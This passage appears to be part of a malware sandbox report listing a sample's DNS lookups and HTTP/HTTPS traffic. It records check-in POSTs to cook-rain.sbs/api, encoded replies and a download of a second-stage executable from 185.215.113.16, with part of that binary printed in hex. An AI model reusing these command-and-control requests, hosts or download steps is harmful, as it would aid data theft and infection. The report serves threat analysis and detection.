Nov 18, 2024 05:57:35.266345024 CET	192.168.2.6	1.1.1.1	0xa7c2	Standard query (0)	241.42.69.40.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 18, 2024 05:57:47.861186981 CET	192.168.2.6	1.1.1.1	0x76e5	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:05.882283926 CET	192.168.2.6	1.1.1.1	0xfafc	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:06.095844030 CET	192.168.2.6	1.1.1.1	0xbeac	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:15.056751966 CET	192.168.2.6	1.1.1.1	0x7909	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 05:57:05.331996918 CET	1.1.1.1	192.168.2.6	0x85ba	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:57:05.331996918 CET	1.1.1.1	192.168.2.6	0x85ba	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:57:35.273993969 CET	1.1.1.1	192.168.2.6	0xa7c2	Name error (3)	241.42.69.40.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 18, 2024 05:57:47.899903059 CET	1.1.1.1	192.168.2.6	0x76e5	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:57:47.899903059 CET	1.1.1.1	192.168.2.6	0x76e5	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:05.886162996 CET	1.1.1.1	192.168.2.6	0x32de	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 05:58:05.886162996 CET	1.1.1.1	192.168.2.6	0x32de	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 05:58:05.886162996 CET	1.1.1.1	192.168.2.6	0x32de	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:05.889812946 CET	1.1.1.1	192.168.2.6	0xfafc	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 05:58:05.889812946 CET	1.1.1.1	192.168.2.6	0xfafc	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 05:58:05.889812946 CET	1.1.1.1	192.168.2.6	0xfafc	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 05:58:05.889812946 CET	1.1.1.1	192.168.2.6	0xfafc	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:06.103743076 CET	1.1.1.1	192.168.2.6	0xbeac	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Nov 18, 2024 05:58:15.099909067 CET	1.1.1.1	192.168.2.6	0x7909	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 05:58:17.555718899 CET	1.1.1.1	192.168.2.6	0x886	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

cook-rain.sbs

otelrules.azureedge.net

slscr.update.microsoft.com

fe3cr.delivery.mp.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

fs.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	60438	185.215.113.16	80	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 05:57:49.401048899 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 05:57:50.314961910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 04:57:50 GMT Content-Type: application/octet-stream Content-Length: 2862592 Last-Modified: Mon, 18 Nov 2024 04:29:52 GMT Connection: keep-alive ETag: "673ac2c0-2bae00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2c 00 00 04 00 00 a0 f0 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ , `@ `,+`Ui` @ @.rsrc`2@.idata 8@kizrvzbc`+N+:@jvcafxhj ,+@.taggant@ ,"+@
Nov 18, 2024 05:57:50.314990997 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315001965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315011978 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315018892 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315046072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315057039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315068007 CET	760	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 05:57:50.315079927 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +O<vtj~K-qm,
Nov 18, 2024 05:57:50.315093040 CET	1236	IN	Data Raw: 81 4f f6 14 00 0c d0 03 83 fb f1 77 81 51 06 ce 7a 6d f3 8f c3 4f fc 20 3d d2 3d 1e 7b 48 65 0f b2 a8 ea dc 7b ec ff 75 3f fa 7f e0 fc 32 ac da 45 0c 0a 59 90 0c 80 c7 7a 61 f3 dd 68 93 d8 f9 7f 19 24 b7 46 1d 01 e7 48 05 0d b4 84 1b db c5 a6 0a Data Ascii: OwQzmO =={He{u?2EYzah$FH$3ik_fktJvxZe!$ZFM=$b'pHut6K~&I@u~Xuxr$T]#Y}x.5~oXqH
Nov 18, 2024 05:57:50.320035934 CET	1236	IN	Data Raw: d6 2c 97 d9 7a 4e 1f 80 d4 83 78 82 d7 50 1b 19 4f 21 a7 d2 a6 3f 9e 79 ca 38 b5 b8 d1 3b 03 d0 bf 8b 30 7a e1 25 28 87 d7 35 07 5e 72 4d ae c8 33 2f e6 74 d3 44 f5 7d e4 18 c4 97 e5 12 7f 57 c8 5d 03 8f e9 ab 23 0e d5 34 0b 4d ec 5b fb 3f 08 a4 Data Ascii: ,zNxPO!?y8;0z%(5^rM3/tD}W]#4M[?>0CLHzrxvWW/sN46x\|}'iMz}:\|SlU~&tp+:6t8yJ!71 NyT{`(7t~Av

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:06 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 04:57:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 04:57:06 UTC	1003	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=g7lu0r7dqv1snve04m5rdoffef; expires=Thu, 13-Mar-2025 22:43:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B9N3V1nhDIm1TqeRSktryf9JsaTcR93CV07bIoARsiuOw%2FMGgr8lK0QNMasUj6nRJDMW%2F8VJykxsqKTEvcnZGapEdM8UXc3%2By13NbgXxyr8VC9LFue0MGW9QuhbI4svd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560b52b1fe813-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=1601769&cwnd=251&unsent_bytes=0&cid=37974cbcfe8baa58&ts=575&x=0"
2024-11-18 04:57:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 04:57:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:07 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-18 04:57:07 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-18 04:57:08 UTC	1001	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hgu5kn0encl85hl3cskkmac5m4; expires=Thu, 13-Mar-2025 22:43:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d0Xs6UmLBw4Pcd5Vp%2BVRdOEdF6I7BNBL6KNjOp7f2fFstdjxzfBZeHWJDLlPptWyJTWOH%2FerDgpunoChtLdzCeCcUtdLTBHXrTMExaDwS3tyvbz6PArsRQpFr6d8cC9u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560bd4b85284b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1152&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=2485836&cwnd=234&unsent_bytes=0&cid=c09d031182ac5c77&ts=867&x=0"
2024-11-18 04:57:08 UTC	368	IN	Data Raw: 33 36 38 61 0d 0a 72 63 65 6f 39 4e 35 36 74 70 6f 36 4d 56 2b 69 36 57 61 6c 64 57 71 41 57 71 6d 53 51 48 70 55 74 47 70 74 59 36 67 45 71 52 44 57 35 64 37 57 35 45 36 61 75 45 6c 55 66 5a 69 64 46 4e 41 51 52 71 49 37 7a 62 42 36 48 44 58 59 47 51 68 50 69 6e 4c 45 4d 70 65 68 79 5a 69 74 48 35 71 34 58 30 6c 39 6d 4c 49 64 68 78 41 45 6f 6d 43 4c 39 79 6f 59 4e 64 67 49 44 41 6a 48 64 4d 56 7a 78 61 76 50 6e 4c 73 5a 30 76 74 57 58 44 72 48 6a 41 66 50 47 77 50 74 4d 73 53 77 62 46 67 78 7a 6b 68 58 51 65 56 68 33 58 48 67 70 74 75 66 2f 41 65 61 34 52 68 55 4d 59 44 54 52 4d 51 51 43 4f 77 38 7a 66 6b 6f 45 6a 7a 51 43 51 6b 4a 32 47 33 50 65 4d 57 6c 7a 4a 32 78 45 4d 62 32 58 46 73 78 77 59 59 48 68 31 6c 49 35 53 43 4c 71 47 4a 4c 42 4e 55 5a 48 Data Ascii: 368arceo9N56tpo6MV+i6WaldWqAWqmSQHpUtGptY6gEqRDW5d7W5E6auElUfZidFNAQRqI7zbB6HDXYGQhPinLEMpehyZitH5q4X0l9mLIdhxAEomCL9yoYNdgIDAjHdMVzxavPnLsZ0vtWXDrHjAfPGwPtMsSwbFgxzkhXQeVh3XHgptuf/Aea4RhUMYDTRMQQCOw8zfkoEjzQCQkJ2G3PeMWlzJ2xEMb2XFsxwYYHh1lI5SCLqGJLBNUZH
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 6f 46 34 6a 58 42 2f 79 45 59 4d 64 77 43 41 41 76 4f 61 38 5a 30 7a 36 57 4b 32 50 77 66 7a 4c 67 41 45 78 37 46 6d 77 50 4c 41 55 72 59 65 4e 53 2b 4f 31 67 78 32 6b 68 58 51 63 4a 6a 79 48 48 45 71 73 6d 65 74 77 72 55 36 6c 35 65 4f 4e 4b 4e 41 63 6b 64 43 2f 41 79 78 66 59 68 45 54 33 66 44 51 67 46 69 69 69 4c 64 64 66 6c 6b 74 61 64 46 64 2f 30 55 6b 51 39 67 4a 52 4b 33 6c 63 50 37 6e 69 54 73 43 59 5a 4d 74 63 4d 41 51 2f 4f 61 73 31 38 77 71 72 4d 6e 4c 77 66 33 76 42 51 55 6a 44 4c 68 41 54 43 47 67 7a 6b 4e 4d 72 31 59 6c 5a 32 30 52 42 50 57 59 70 49 7a 48 48 64 35 2f 2b 56 73 68 62 54 37 68 68 4d 63 39 6e 4c 41 38 74 58 55 4b 49 32 7a 76 38 77 47 53 54 54 42 68 30 4e 7a 32 44 47 63 63 47 6c 7a 35 47 78 46 74 4c 2f 57 31 73 35 77 59 55 49 7a Data Ascii: oF4jXB/yEYMdwCAAvOa8Z0z6WK2PwfzLgAEx7FmwPLAUrYeNS+O1gx2khXQcJjyHHEqsmetwrU6l5eONKNAckdC/AyxfYhET3fDQgFiiiLddflktadFd/0UkQ9gJRK3lcP7niTsCYZMtcMAQ/Oas18wqrMnLwf3vBQUjDLhATCGgzkNMr1YlZ20RBPWYpIzHHd5/+VshbT7hhMc9nLA8tXUKI2zv8wGSTTBh0Nz2DGccGlz5GxFtL/W1s5wYUIz
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 30 77 76 41 70 45 6a 4c 57 44 77 49 45 79 57 48 49 66 38 69 76 78 4a 47 34 46 4e 33 31 58 6c 4d 36 78 49 34 57 77 68 34 45 37 6e 69 46 73 43 55 41 64 6f 35 49 49 41 62 63 5a 65 52 78 33 71 79 4b 69 66 49 42 6c 50 39 55 45 32 57 41 6a 41 48 50 48 41 37 71 4f 4e 6e 31 4c 42 4d 33 33 41 34 4f 44 4d 5a 67 79 33 50 50 6f 38 61 57 75 78 2f 47 36 6c 31 56 4c 38 72 4c 53 6f 63 51 45 4b 4a 67 69 38 59 79 44 79 66 41 53 6a 6f 43 78 47 6a 4d 5a 49 2b 36 68 49 2f 38 48 39 69 34 41 42 4d 32 77 49 63 44 7a 78 45 4d 36 6a 66 45 2b 54 41 5a 4f 74 67 61 43 41 48 44 61 4d 52 2b 78 71 6a 4e 6d 37 63 53 32 66 78 66 55 6e 32 4f 79 77 50 66 56 31 43 69 44 74 76 39 4c 6a 59 39 32 67 46 50 48 6f 52 2f 69 33 58 44 35 5a 4c 57 75 42 54 63 38 6c 64 61 4e 38 71 45 44 63 63 66 41 65 Data Ascii: 0wvApEjLWDwIEyWHIf8ivxJG4FN31XlM6xI4Wwh4E7niFsCUAdo5IIAbcZeRx3qyKifIBlP9UE2WAjAHPHA7qONn1LBM33A4ODMZgy3PPo8aWux/G6l1VL8rLSocQEKJgi8YyDyfASjoCxGjMZI+6hI/8H9i4ABM2wIcDzxEM6jfE+TAZOtgaCAHDaMR+xqjNm7cS2fxfUn2OywPfV1CiDtv9LjY92gFPHoR/i3XD5ZLWuBTc8ldaN8qEDccfAe
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 4f 6c 68 75 6c 69 63 6f 4e 49 68 48 38 54 4c 51 36 39 50 57 75 78 53 55 6f 42 68 66 50 73 79 44 43 38 45 65 42 4f 67 78 77 50 77 70 48 44 72 66 44 51 6b 41 7a 32 50 4b 64 73 4f 76 7a 4a 57 2f 46 39 76 33 55 42 4e 7a 67 49 77 63 68 30 39 49 78 79 2f 41 2f 69 52 59 4b 5a 67 52 54 77 62 47 4a 70 4d 79 77 36 7a 4d 6b 4c 6b 55 31 66 35 51 56 6a 58 45 69 67 4c 42 46 41 66 6d 50 63 72 2f 4a 68 51 34 33 41 6b 4f 44 63 46 70 77 48 65 50 36 34 71 52 70 46 69 4d 75 47 6c 51 4b 39 65 62 43 49 63 49 52 76 74 34 7a 50 78 69 51 48 62 58 47 67 55 4c 78 47 50 45 64 38 79 71 7a 5a 75 36 46 4e 37 78 55 46 55 79 79 5a 6b 48 79 78 6b 50 37 44 54 46 2f 53 67 62 4f 35 5a 47 54 77 62 53 4a 70 4d 79 34 36 4c 48 75 4c 63 55 30 37 68 48 48 53 53 41 6a 41 69 48 54 30 6a 75 4d 73 66 Data Ascii: OlhulicoNIhH8TLQ69PWuxSUoBhfPsyDC8EeBOgxwPwpHDrfDQkAz2PKdsOvzJW/F9v3UBNzgIwch09Ixy/A/iRYKZgRTwbGJpMyw6zMkLkU1f5QVjXEigLBFAfmPcr/JhQ43AkODcFpwHeP64qRpFiMuGlQK9ebCIcIRvt4zPxiQHbXGgULxGPEd8yqzZu6FN7xUFUyyZkHyxkP7DTF/SgbO5ZGTwbSJpMy46LHuLcU07hHHSSAjAiHT0juMsf
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 5a 51 35 47 51 4c 63 62 63 5a 2b 6a 37 71 45 6a 2f 77 66 32 4c 67 41 45 7a 76 50 67 67 66 49 46 67 48 75 4e 63 37 35 4a 78 6b 77 30 67 49 46 41 63 78 67 79 6e 66 46 70 73 75 63 74 52 2f 63 2f 31 74 42 66 59 37 4c 41 39 39 58 55 4b 49 52 7a 4f 49 73 43 48 62 4a 52 68 5a 42 7a 57 71 4c 4b 6f 2b 68 77 4a 6d 34 48 39 6a 2b 58 56 55 77 77 59 51 46 78 78 67 4d 36 54 48 4e 38 53 38 64 4f 39 49 61 42 51 72 46 61 73 4a 2b 77 75 57 45 31 72 73 41 6c 4b 41 59 59 6a 44 4f 68 51 50 52 56 78 65 73 49 59 76 33 4c 6c 68 75 6c 67 6b 44 44 73 6c 70 79 48 48 4f 72 39 69 45 73 42 48 63 2f 56 52 59 4d 38 61 5a 41 73 67 65 43 2b 45 78 7a 50 67 75 45 6a 58 52 53 45 46 42 7a 58 36 4c 4b 6f 2b 47 33 59 61 78 57 4d 75 32 51 52 4d 36 7a 4d 74 63 68 78 38 46 36 6a 4c 50 39 79 38 66 Data Ascii: ZQ5GQLcbcZ+j7qEj/wf2LgAEzvPggfIFgHuNc75Jxkw0gIFAcxgynfFpsuctR/c/1tBfY7LA99XUKIRzOIsCHbJRhZBzWqLKo+hwJm4H9j+XVUwwYQFxxgM6THN8S8dO9IaBQrFasJ+wuWE1rsAlKAYYjDOhQPRVxesIYv3LlhulgkDDslpyHHOr9iEsBHc/VRYM8aZAsgeC+ExzPguEjXRSEFBzX6LKo+G3YaxWMu2QRM6zMtchx8F6jLP9y8f
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 38 46 7a 6d 48 4f 63 63 4f 75 7a 5a 57 7a 48 4e 33 32 55 56 78 39 6a 73 73 44 33 31 64 51 6f 68 6e 51 38 79 34 56 64 73 6c 47 46 6b 48 4e 61 6f 73 71 6a 36 6e 45 6b 37 77 53 30 76 78 64 56 54 66 46 69 77 2f 45 47 41 7a 6b 50 4d 54 77 4b 52 45 33 30 41 30 46 43 73 78 72 79 48 54 4a 35 59 54 57 75 77 43 55 6f 42 68 7a 4a 73 32 48 41 34 63 49 52 76 74 34 7a 50 78 69 51 48 62 64 42 41 73 47 79 6d 76 49 65 73 71 68 77 4a 4f 38 45 4d 62 77 57 46 51 76 30 6f 73 4e 77 68 73 4c 34 6a 7a 4e 2b 53 51 62 4d 70 5a 47 54 77 62 53 4a 70 4d 79 34 71 6e 4e 76 37 73 44 6c 4f 63 57 53 6e 33 48 68 30 53 66 56 77 6e 70 4d 73 54 39 49 52 34 31 33 51 30 46 41 4d 31 75 78 6d 44 4d 71 73 57 53 76 42 66 53 2f 6c 6c 63 4f 38 65 43 42 63 38 51 53 4b 78 34 7a 4f 68 69 51 48 62 34 44 Data Ascii: 8FzmHOccOuzZWzHN32UVx9jssD31dQohnQ8y4VdslGFkHNaosqj6nEk7wS0vxdVTfFiw/EGAzkPMTwKRE30A0FCsxryHTJ5YTWuwCUoBhzJs2HA4cIRvt4zPxiQHbdBAsGymvIesqhwJO8EMbwWFQv0osNwhsL4jzN+SQbMpZGTwbSJpMy4qnNv7sDlOcWSn3Hh0SfVwnpMsT9IR413Q0FAM1uxmDMqsWSvBfS/llcO8eCBc8QSKx4zOhiQHb4D
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 6f 69 33 32 50 2f 66 50 57 74 52 2f 50 36 55 35 65 4c 63 66 4c 4f 34 6c 58 45 4b 4a 67 69 38 55 68 46 6a 6a 52 48 68 35 4d 37 58 44 42 64 64 2b 69 33 5a 6e 38 56 70 54 2b 47 41 74 75 6a 73 73 41 31 6c 64 51 73 6d 71 51 70 58 46 50 5a 6f 51 58 51 52 69 4b 63 49 73 71 6e 65 75 4b 68 50 78 41 6c 4c 39 62 51 53 2f 47 69 42 4c 45 55 44 62 63 48 39 48 39 4a 41 38 6e 36 44 59 49 47 38 64 67 33 47 4f 44 73 4d 6d 59 73 68 2f 43 75 42 59 54 4d 6f 44 54 50 59 64 66 53 4e 31 32 69 2b 68 69 51 48 62 6a 43 77 45 50 7a 58 44 61 50 2b 69 2f 78 35 43 72 43 5a 53 32 47 46 56 39 6d 4e 74 4b 68 78 4d 5a 6f 6d 43 62 6f 6e 6c 4e 5a 59 46 59 58 52 36 45 66 34 74 6b 6a 2f 32 59 32 50 77 4b 6c 4b 41 59 46 44 37 53 6d 51 4c 45 41 51 75 6c 42 76 58 65 4a 52 34 7a 30 52 68 4e 4c 38 Data Ascii: oi32P/fPWtR/P6U5eLcfLO4lXEKJgi8UhFjjRHh5M7XDBdd+i3Zn8VpT+GAtujssA1ldQsmqQpXFPZoQXQRiKcIsqneuKhPxAlL9bQS/GiBLEUDbcH9H9JA8n6DYIG8dg3GODsMmYsh/CuBYTMoDTPYdfSN12i+hiQHbjCwEPzXDaP+i/x5CrCZS2GFV9mNtKhxMZomCbonlNZYFYXR6Ef4tkj/2Y2PwKlKAYFD7SmQLEAQulBvXeJR4z0RhNL8
2024-11-18 04:57:08 UTC	1369	IN	Data Raw: 77 61 4c 4c 67 4b 77 50 32 37 67 57 45 7a 75 41 30 31 61 4a 56 77 7a 7a 65 4a 4f 67 63 45 4e 6a 68 56 39 66 55 39 55 6f 30 6a 4c 5a 35 5a 4c 45 38 6c 6a 47 75 41 41 54 65 73 4f 5a 46 73 45 55 48 75 46 2f 39 63 34 46 46 6a 48 58 48 68 38 57 78 53 6e 6c 52 4f 36 62 39 49 4f 2f 46 74 72 2f 54 6b 4a 39 6a 73 73 4c 68 30 38 78 6f 6e 43 4c 7a 32 78 59 4c 70 5a 51 54 7a 54 4a 61 4d 56 31 32 62 53 48 73 62 49 66 31 65 35 49 52 44 4b 50 70 54 4c 6d 56 30 61 69 50 6f 75 6f 63 46 5a 32 30 68 6c 50 57 5a 6f 30 6b 43 65 63 38 70 72 45 6f 31 62 4e 75 45 34 54 5a 5a 4c 46 52 4e 56 58 55 4b 4a 2f 79 4f 49 77 48 6a 58 41 43 30 67 2f 39 45 48 46 64 63 36 7a 32 70 75 77 4f 64 66 70 55 6d 30 44 31 59 67 4b 79 52 41 65 38 33 69 46 73 43 31 59 62 75 39 49 52 30 48 31 4b 49 74 Data Ascii: waLLgKwP27gWEzuA01aJVwzzeJOgcENjhV9fU9Uo0jLZ5ZLE8ljGuAATesOZFsEUHuF/9c4FFjHXHh8WxSnlRO6b9IO/Ftr/TkJ9jssLh08xonCLz2xYLpZQTzTJaMV12bSHsbIf1e5IRDKPpTLmV0aiPouocFZ20hlPWZo0kCec8prEo1bNuE4TZZLFRNVXUKJ/yOIwHjXAC0g/9EHFdc6z2puwOdfpUm0D1YgKyRAe83iFsC1Ybu9IR0H1KIt
